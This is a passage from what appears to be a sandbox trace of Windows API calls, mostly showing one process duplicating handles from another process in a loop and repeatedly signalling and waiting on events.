DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.353] ResetEvent (hEvent=0xe0) returned 1 [0093.353] SetEvent (hEvent=0xdc) returned 1 [0093.354] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.355] NtClose (Handle=0x15c) returned 0x0 [0093.355] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0xc, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0093.355] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x10, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc00000bb [0093.355] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x14, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.355] ResetEvent (hEvent=0xe0) returned 1 [0093.355] SetEvent (hEvent=0xdc) returned 1 [0093.356] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.357] NtClose (Handle=0x15c) returned 0x0 [0093.357] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x18, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.357] ResetEvent (hEvent=0xe0) returned 1 [0093.357] SetEvent (hEvent=0xdc) returned 1 [0093.357] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.358] NtClose (Handle=0x15c) returned 0x0 [0093.358] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x1c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.358] ResetEvent (hEvent=0xe0) returned 1 [0093.358] SetEvent (hEvent=0xdc) returned 1 [0093.359] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.360] NtClose (Handle=0x15c) returned 0x0 [0093.360] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x20, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.360] ResetEvent (hEvent=0xe0) returned 1 [0093.360] SetEvent (hEvent=0xdc) returned 1 [0093.360] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.362] NtClose (Handle=0x15c) returned 0x0 [0093.362] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x24, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.362] ResetEvent (hEvent=0xe0) returned 1 [0093.362] SetEvent (hEvent=0xdc) returned 1 [0093.362] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.364] NtClose (Handle=0x15c) returned 0x0 [0093.364] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x28, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.364] ResetEvent (hEvent=0xe0) returned 1 [0093.364] SetEvent (hEvent=0xdc) returned 1 [0093.364] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.366] NtClose (Handle=0x15c) returned 0x0 [0093.366] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x2c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.366] ResetEvent (hEvent=0xe0) returned 1 [0093.366] SetEvent (hEvent=0xdc) returned 1 [0093.366] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.367] NtClose (Handle=0x15c) returned 0x0 [0093.368] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x30, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.368] ResetEvent (hEvent=0xe0) returned 1 [0093.368] SetEvent (hEvent=0xdc) returned 1 [0093.368] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.369] NtClose (Handle=0x15c) returned 0x0 [0093.369] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x34, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.369] ResetEvent (hEvent=0xe0) returned 1 [0093.369] SetEvent (hEvent=0xdc) returned 1 [0093.369] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.371] NtClose (Handle=0x15c) returned 0x0 [0093.371] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x38, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x0) returned 0xc0000022 [0093.371] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x3c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.371] ResetEvent (hEvent=0xe0) returned 1 [0093.371] SetEvent (hEvent=0xdc) returned 1 [0093.371] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.373] NtClose (Handle=0x15c) returned 0x0 [0093.373] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x40, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.373] ResetEvent (hEvent=0xe0) returned 1 [0093.373] SetEvent (hEvent=0xdc) returned 1 [0093.373] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.375] NtClose (Handle=0x15c) returned 0x0 [0093.375] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x44, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.375] ResetEvent (hEvent=0xe0) returned 1 [0093.375] SetEvent (hEvent=0xdc) returned 1 [0093.375] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.376] NtClose (Handle=0x15c) returned 0x0 [0093.376] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x48, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.377] ResetEvent (hEvent=0xe0) returned 1 [0093.377] SetEvent (hEvent=0xdc) returned 1 [0093.377] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0093.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f720) returned 1 [0093.378] NtClose (Handle=0x15c) returned 0x0 [0093.378] NtDuplicateObject (in: SourceProcessHandle=0x180, SourceHandle=0x4c, TargetProcessHandle=0xffffffff, TargetHandle=0x119fae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x119fae0*=0x15c) returned 0x0 [0093.378] ResetEvent (hEvent=0xe0) returned 1 [0093.378] SetEvent (hEvent=0xdc) returned 1 [0093.378] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.380] ResetEvent (hEvent=0xe0) returned 1 [0093.380] SetEvent (hEvent=0xdc) returned 1 [0093.380] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.381] ResetEvent (hEvent=0xe0) returned 1 [0093.381] SetEvent (hEvent=0xdc) returned 1 [0093.381] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.382] ResetEvent (hEvent=0xe0) returned 1 [0093.382] SetEvent (hEvent=0xdc) returned 1 [0093.382] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.383] ResetEvent (hEvent=0xe0) returned 1 [0093.383] SetEvent (hEvent=0xdc) returned 1 [0093.383] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.384] ResetEvent (hEvent=0xe0) returned 1 [0093.384] SetEvent (hEvent=0xdc) returned 1 [0093.384] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.385] ResetEvent (hEvent=0xe0) returned 1 [0093.385] SetEvent (hEvent=0xdc) returned 1 [0093.385] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.386] ResetEvent (hEvent=0xe0) returned 1 [0093.386] SetEvent (hEvent=0xdc) returned 1 [0093.386] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.387] ResetEvent (hEvent=0xe0) returned 1 [0093.387] SetEvent (hEvent=0xdc) returned 1 [0093.387] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.388] ResetEvent (hEvent=0xe0) returned 1 [0093.388] SetEvent (hEvent=0xdc) returned 1 [0093.388] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.390] ResetEvent (hEvent=0xe0) returned 1 [0093.390] SetEvent (hEvent=0xdc) returned 1 [0093.390] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.391] ResetEvent (hEvent=0xe0) returned 1 [0093.391] SetEvent (hEvent=0xdc) returned 1 [0093.391] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.392] ResetEvent (hEvent=0xe0) returned 1 [0093.392] SetEvent (hEvent=0xdc) returned 1 [0093.392] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.393] ResetEvent (hEvent=0xe0) returned 1 [0093.393] SetEvent (hEvent=0xdc) returned 1 [0093.393] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.394] ResetEvent (hEvent=0xe0) returned 1 [0093.394] SetEvent (hEvent=0xdc) returned 1 [0093.394] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.395] ResetEvent (hEvent=0xe0) returned 1 [0093.395] SetEvent (hEvent=0xdc) returned 1 [0093.395] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.396] ResetEvent (hEvent=0xe0) returned 1 [0093.396] SetEvent (hEvent=0xdc) returned 1 [0093.396] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.397] ResetEvent (hEvent=0xe0) returned 1 [0093.397] SetEvent (hEvent=0xdc) returned 1 [0093.397] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.398] ResetEvent (hEvent=0xe0) returned 1 [0093.398] SetEvent (hEvent=0xdc) returned 1 [0093.398] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.399] ResetEvent (hEvent=0xe0) returned 1 [0093.399] SetEvent (hEvent=0xdc) returned 1 [0093.399] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.400] ResetEvent (hEvent=0xe0) returned 1 [0093.400] SetEvent (hEvent=0xdc) returned 1 [0093.401] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.401] ResetEvent (hEvent=0xe0) returned 1 [0093.401] SetEvent (hEvent=0xdc) returned 1 [0093.402] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.402] ResetEvent (hEvent=0xe0) returned 1 [0093.402] SetEvent (hEvent=0xdc) returned 1 [0093.403] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.403] ResetEvent (hEvent=0xe0) returned 1 [0093.403] SetEvent (hEvent=0xdc) returned 1 [0093.404] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.404] ResetEvent (hEvent=0xe0) returned 1 [0093.404] SetEvent (hEvent=0xdc) returned 1 [0093.405] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.405] ResetEvent (hEvent=0xe0) returned 1 [0093.405] SetEvent (hEvent=0xdc) returned 1 [0093.406] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.406] ResetEvent (hEvent=0xe0) returned 1 [0093.406] SetEvent (hEvent=0xdc) returned 1 [0093.406] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.407] ResetEvent (hEvent=0xe0) returned 1 [0093.407] SetEvent (hEvent=0xdc) returned 1 [0093.407] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.408] ResetEvent (hEvent=0xe0) returned 1 [0093.408] SetEvent (hEvent=0xdc) returned 1 [0093.408] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.409] ResetEvent (hEvent=0xe0) returned 1 [0093.409] SetEvent (hEvent=0xdc) returned 1 [0093.409] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.410] ResetEvent (hEvent=0xe0) returned 1 [0093.410] SetEvent (hEvent=0xdc) returned 1 [0093.410] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.411] ResetEvent (hEvent=0xe0) returned 1 [0093.411] SetEvent (hEvent=0xdc) returned 1 [0093.411] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.413] ResetEvent (hEvent=0xe0) returned 1 [0093.413] SetEvent (hEvent=0xdc) returned 1 [0093.413] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.414] ResetEvent (hEvent=0xe0) returned 1 [0093.414] SetEvent (hEvent=0xdc) returned 1 [0093.414] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.415] ResetEvent (hEvent=0xe0) returned 1 [0093.415] SetEvent (hEvent=0xdc) returned 1 [0093.415] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.416] ResetEvent (hEvent=0xe0) returned 1 [0093.416] SetEvent (hEvent=0xdc) returned 1 [0093.416] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.417] ResetEvent (hEvent=0xe0) returned 1 [0093.417] SetEvent (hEvent=0xdc) returned 1 [0093.417] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.418] ResetEvent (hEvent=0xe0) returned 1 [0093.418] SetEvent (hEvent=0xdc) returned 1 [0093.418] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.419] ResetEvent (hEvent=0xe0) returned 1 [0093.419] SetEvent (hEvent=0xdc) returned 1 [0093.419] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.420] ResetEvent (hEvent=0xe0) returned 1 [0093.420] SetEvent (hEvent=0xdc) returned 1 [0093.420] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.421] ResetEvent (hEvent=0xe0) returned 1 [0093.421] SetEvent (hEvent=0xdc) returned 1 [0093.421] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.422] ResetEvent (hEvent=0xe0) returned 1 [0093.422] SetEvent (hEvent=0xdc) returned 1 [0093.422] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.423] ResetEvent (hEvent=0xe0) returned 1 [0093.423] SetEvent (hEvent=0xdc) returned 1 [0093.423] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.424] ResetEvent (hEvent=0xe0) returned 1 [0093.424] SetEvent (hEvent=0xdc) returned 1 [0093.424] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.425] ResetEvent (hEvent=0xe0) returned 1 [0093.425] SetEvent (hEvent=0xdc) returned 1 [0093.425] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.426] ResetEvent (hEvent=0xe0) returned 1 [0093.426] SetEvent (hEvent=0xdc) returned 1 [0093.426] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.427] ResetEvent (hEvent=0xe0) returned 1 [0093.427] SetEvent (hEvent=0xdc) returned 1 [0093.427] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.428] ResetEvent (hEvent=0xe0) returned 1 [0093.428] SetEvent (hEvent=0xdc) returned 1 [0093.428] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.429] ResetEvent (hEvent=0xe0) returned 1 [0093.429] SetEvent (hEvent=0xdc) returned 1 [0093.430] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.431] ResetEvent (hEvent=0xe0) returned 1 [0093.431] SetEvent (hEvent=0xdc) returned 1 [0093.431] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.432] ResetEvent (hEvent=0xe0) returned 1 [0093.432] SetEvent (hEvent=0xdc) returned 1 [0093.432] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.433] ResetEvent (hEvent=0xe0) returned 1 [0093.433] SetEvent (hEvent=0xdc) returned 1 [0093.433] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.434] ResetEvent (hEvent=0xe0) returned 1 [0093.434] SetEvent (hEvent=0xdc) returned 1 [0093.434] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.435] ResetEvent (hEvent=0xe0) returned 1 [0093.435] SetEvent (hEvent=0xdc) returned 1 [0093.435] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.436] ResetEvent (hEvent=0xe0) returned 1 [0093.436] SetEvent (hEvent=0xdc) returned 1 [0093.436] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.437] ResetEvent (hEvent=0xe0) returned 1 [0093.437] SetEvent (hEvent=0xdc) returned 1 [0093.437] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.438] ResetEvent (hEvent=0xe0) returned 1 [0093.438] SetEvent (hEvent=0xdc) returned 1 [0093.438] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.439] ResetEvent (hEvent=0xe0) returned 1 [0093.439] SetEvent (hEvent=0xdc) returned 1 [0093.439] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.440] ResetEvent (hEvent=0xe0) returned 1 [0093.440] SetEvent (hEvent=0xdc) returned 1 [0093.440] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.441] ResetEvent (hEvent=0xe0) returned 1 [0093.441] SetEvent (hEvent=0xdc) returned 1 [0093.441] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.442] ResetEvent (hEvent=0xe0) returned 1 [0093.442] SetEvent (hEvent=0xdc) returned 1 [0093.442] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.443] ResetEvent (hEvent=0xe0) returned 1 [0093.443] SetEvent (hEvent=0xdc) returned 1 [0093.443] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.444] ResetEvent (hEvent=0xe0) returned 1 [0093.444] SetEvent (hEvent=0xdc) returned 1 [0093.444] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.445] ResetEvent (hEvent=0xe0) returned 1 [0093.445] SetEvent (hEvent=0xdc) returned 1 [0093.445] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.446] ResetEvent (hEvent=0xe0) returned 1 [0093.446] SetEvent (hEvent=0xdc) returned 1 [0093.446] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.447] ResetEvent (hEvent=0xe0) returned 1 [0093.447] SetEvent (hEvent=0xdc) returned 1 [0093.447] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.448] ResetEvent (hEvent=0xe0) returned 1 [0093.448] SetEvent (hEvent=0xdc) returned 1 [0093.448] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.449] ResetEvent (hEvent=0xe0) returned 1 [0093.449] SetEvent (hEvent=0xdc) returned 1 [0093.449] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.450] ResetEvent (hEvent=0xe0) returned 1 [0093.450] SetEvent (hEvent=0xdc) returned 1 [0093.450] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.451] ResetEvent (hEvent=0xe0) returned 1 [0093.451] SetEvent (hEvent=0xdc) returned 1 [0093.452] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.453] ResetEvent (hEvent=0xe0) returned 1 [0093.453] SetEvent (hEvent=0xdc) returned 1 [0093.453] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.454] ResetEvent (hEvent=0xe0) returned 1 [0093.454] SetEvent (hEvent=0xdc) returned 1 [0093.454] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.455] ResetEvent (hEvent=0xe0) returned 1 [0093.455] SetEvent (hEvent=0xdc) returned 1 [0093.455] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.456] ResetEvent (hEvent=0xe0) returned 1 [0093.456] SetEvent (hEvent=0xdc) returned 1 [0093.456] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.457] ResetEvent (hEvent=0xe0) returned 1 [0093.457] SetEvent (hEvent=0xdc) returned 1 [0093.457] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.458] ResetEvent (hEvent=0xe0) returned 1 [0093.458] SetEvent (hEvent=0xdc) returned 1 [0093.458] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.459] ResetEvent (hEvent=0xe0) returned 1 [0093.459] SetEvent (hEvent=0xdc) returned 1 [0093.459] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.460] ResetEvent (hEvent=0xe0) returned 1 [0093.460] SetEvent (hEvent=0xdc) returned 1 [0093.460] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.461] ResetEvent (hEvent=0xe0) returned 1 [0093.461] SetEvent (hEvent=0xdc) returned 1 [0093.461] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.462] ResetEvent (hEvent=0xe0) returned 1 [0093.462] SetEvent (hEvent=0xdc) returned 1 [0093.462] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.463] ResetEvent (hEvent=0xe0) returned 1 [0093.463] SetEvent (hEvent=0xdc) returned 1 [0093.463] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.465] ResetEvent (hEvent=0xe0) returned 1 [0093.465] SetEvent (hEvent=0xdc) returned 1 [0093.465] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.466] ResetEvent (hEvent=0xe0) returned 1 [0093.466] SetEvent (hEvent=0xdc) returned 1 [0093.466] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.467] ResetEvent (hEvent=0xe0) returned 1 [0093.467] SetEvent (hEvent=0xdc) returned 1 [0093.467] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.468] ResetEvent (hEvent=0xe0) returned 1 [0093.468] SetEvent (hEvent=0xdc) returned 1 [0093.468] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.469] ResetEvent (hEvent=0xe0) returned 1 [0093.469] SetEvent (hEvent=0xdc) returned 1 [0093.469] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.470] ResetEvent (hEvent=0xe0) returned 1 [0093.470] SetEvent (hEvent=0xdc) returned 1 [0093.470] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.471] ResetEvent (hEvent=0xe0) returned 1 [0093.471] SetEvent (hEvent=0xdc) returned 1 [0093.471] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.472] ResetEvent (hEvent=0xe0) returned 1 [0093.472] SetEvent (hEvent=0xdc) returned 1 [0093.472] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.473] ResetEvent (hEvent=0xe0) returned 1 [0093.473] SetEvent (hEvent=0xdc) returned 1 [0093.473] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x1f4) returned 0x0 [0093.474] 